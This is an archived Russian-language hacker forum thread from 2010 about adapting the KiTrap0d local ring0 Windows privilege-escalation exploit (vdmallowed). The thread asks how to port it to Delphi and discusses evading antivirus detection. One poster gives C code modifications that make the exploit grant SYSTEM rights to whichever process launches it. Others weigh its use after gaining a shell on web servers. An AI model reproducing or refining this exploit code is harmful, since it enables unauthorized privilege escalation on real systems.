PDA

Просмотр полной версии : KiTrap0d local ring0 exploit на DELPHI


GlooK
22.01.2010, 00:37
Возможно ли это?

В С++ шарю не очень, хотя команды похожие.
Подскажите, пожалуйста как сделать аналог на Delphi?

vdmallowed.exe
http://pastebin.com/m5f3df162

Начал с этого:

CreateProcess(nil, 'C:\\WINDOWS\\SYSTEM32\\CMD.EXE', nil, nil, true, CREATE_NEW_CONSOLE, nil, nil, si, pi);

Chrome~
22.01.2010, 01:18
Хм. Ну что ж... Неплохое и многообещающие начало! Самым лучшим вариантом было бы перевести код самого эксплоита на язык Delphi (на хабре выкладывали на C++).

Но EXE уже антивирем палится.

slesh
22.01.2010, 10:41
По идее там можно сделать так чтобы ничем не палилось и без лишней DLL )
И даже не юзая debug.exe. Посмотри исходники и там быстро можно понять что и как.

Но на делфи переделывать не советую. Будут баги конкретные, в особенности в плане кода исполняемого в ring0 (если чуть не так напишеш)

sn0w
22.01.2010, 18:51
делаю без дэлэлэ, посморим че выйдет)

GlooK
22.01.2010, 18:53
делаю без дэлэлэ, посморим че выйдет)
Оо, сэнкс. Будем ждать)

sn0w
22.01.2010, 21:08
на си тока и я под вынь7 сделал. у меня тока тоталресеты, что говорит что работает но криво) разбираться уже сил нет)

короче я пытался тока р0 исполнение запустить без копирования маркера с привелегиями но видимо не туда улетаю( а вмвару надо еще скачать мля

slesh
23.01.2010, 11:49
Вообще сплоит чуть мутноват. т.е. периодически систему в бсод кидает.
Я его чуть усовершенствовал. Теперь он не создает cmd с правами system.
Теперь он дает права system для той проги которая запускает его.
т.е. запускаем сплоит и та кто прога которая запустила его, сразу становится с правами system. Т.е. налог пингвиних рутовых сплоитов.
Чуть позже мож выложу мой апдейт

slesh
23.01.2010, 12:00
Ну вот моя дороботка.
В файле vdmallowed.c правим
1) в начале добавляем #include <tlhelp32.h>
2) полностью удаляем функцию PrepareProcessForSystemToken
3) Этот код

if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
goto finished;
}


заменяем на этот

ShellPid = GetParentPID();
if (!ShellPid)
{
LogMessage(L_ERROR, "GetParentPID() returned failure");
goto finished;
}

4) Вписываем вот эту функцию

ULONG GetParentPID()
{
HANDLE h;
ULONG pid;
PROCESSENTRY32 pe32;
ULONG ret = 0;

pid = GetCurrentProcessId();

h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (h != INVALID_HANDLE_VALUE)
{
pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(h, &pe32))
{
CloseHandle(h);
return 0;
}

do
{
if (pe32.th32ProcessID == pid)
{
ret = pe32.th32ParentProcessID;
break;
}
} while (Process32Next(h, &pe32));

CloseHandle(h);
}

return ret;
}


т.е. вся идея не в том, чтобы создать процес и получить его пид, а в том, чтобы узнать пид родителя.

5) перед SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", &VdmHandle)
пишем:

char buf[260];
GetSystemDirectoryA(buf, 256);
lstrcatA(buf, "\\debug.exe");
SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", &VdmHandle)
заменяем на
SpawnNTVDMAndGetUsefulAccess(buf, &VdmHandle)

т.е. в данном случае мы не будем зависеть от диска на котором находится винда.

GlooK
23.01.2010, 12:16
slesh, предложи что нить для delphi :)
Может хоть dll'ку сделать, чтобы из нее эти функции запускать.

slesh
23.01.2010, 12:22
Ну так возьми сишный код самой проги, убери логирование и форми в виде DLL
и функцию main назови по другому и сделай экспортируемой

cheater_man
23.01.2010, 20:10
Блин а этот local exploit, походу можно переделать в remote :eek:

slesh
24.01.2010, 00:14
2 cheater_man ты чем думаешь? Каким образом ты собрался выполнить удаленное досовское приложения? ты хоть сам понимаешь о чем говоришь?

cheater_man
24.01.2010, 13:16
2 cheater_man ты чем думаешь? Каким образом ты собрался выполнить удаленное досовское приложения? ты хоть сам понимаешь о чем говоришь?
Нет ты меня не понял :) Тоесть например чтобы shell получал сразу права SYSTEM, а не те под которыми сидит юзер :) Бывает же такое иногда когда при получении cmd права бывают не SYSTEM.

slesh
24.01.2010, 13:50
2 cheater_man Это всё равно не remote а local потому что запуск происходит уже локально.
Кстити я тут так подумал и понял что врядли это получится. Дело вот в чем:
1) если шел на Apache+Win то 99% что apache запущен из под SYSTEM так что тут не нужен експлоит
2) Если это IIS+PHP то тут другая вешь. А именно - IIS почти всегда запущен от спец пользователя и практически всегда эту пользователю запрещен запуск прог. То как никрути ты эксплоит не сможеш запустить там.

cheater_man
24.01.2010, 15:09
2 cheater_man Это всё равно не remote а local потому что запуск происходит уже локально.
Кстити я тут так подумал и понял что врядли это получится. Дело вот в чем:
1) если шел на Apache+Win то 99% что apache запущен из под SYSTEM так что тут не нужен експлоит
2) Если это IIS+PHP то тут другая вешь. А именно - IIS почти всегда запущен от спец пользователя и практически всегда эту пользователю запрещен запуск прог. То как никрути ты эксплоит не сможеш запустить там.
Согласен :)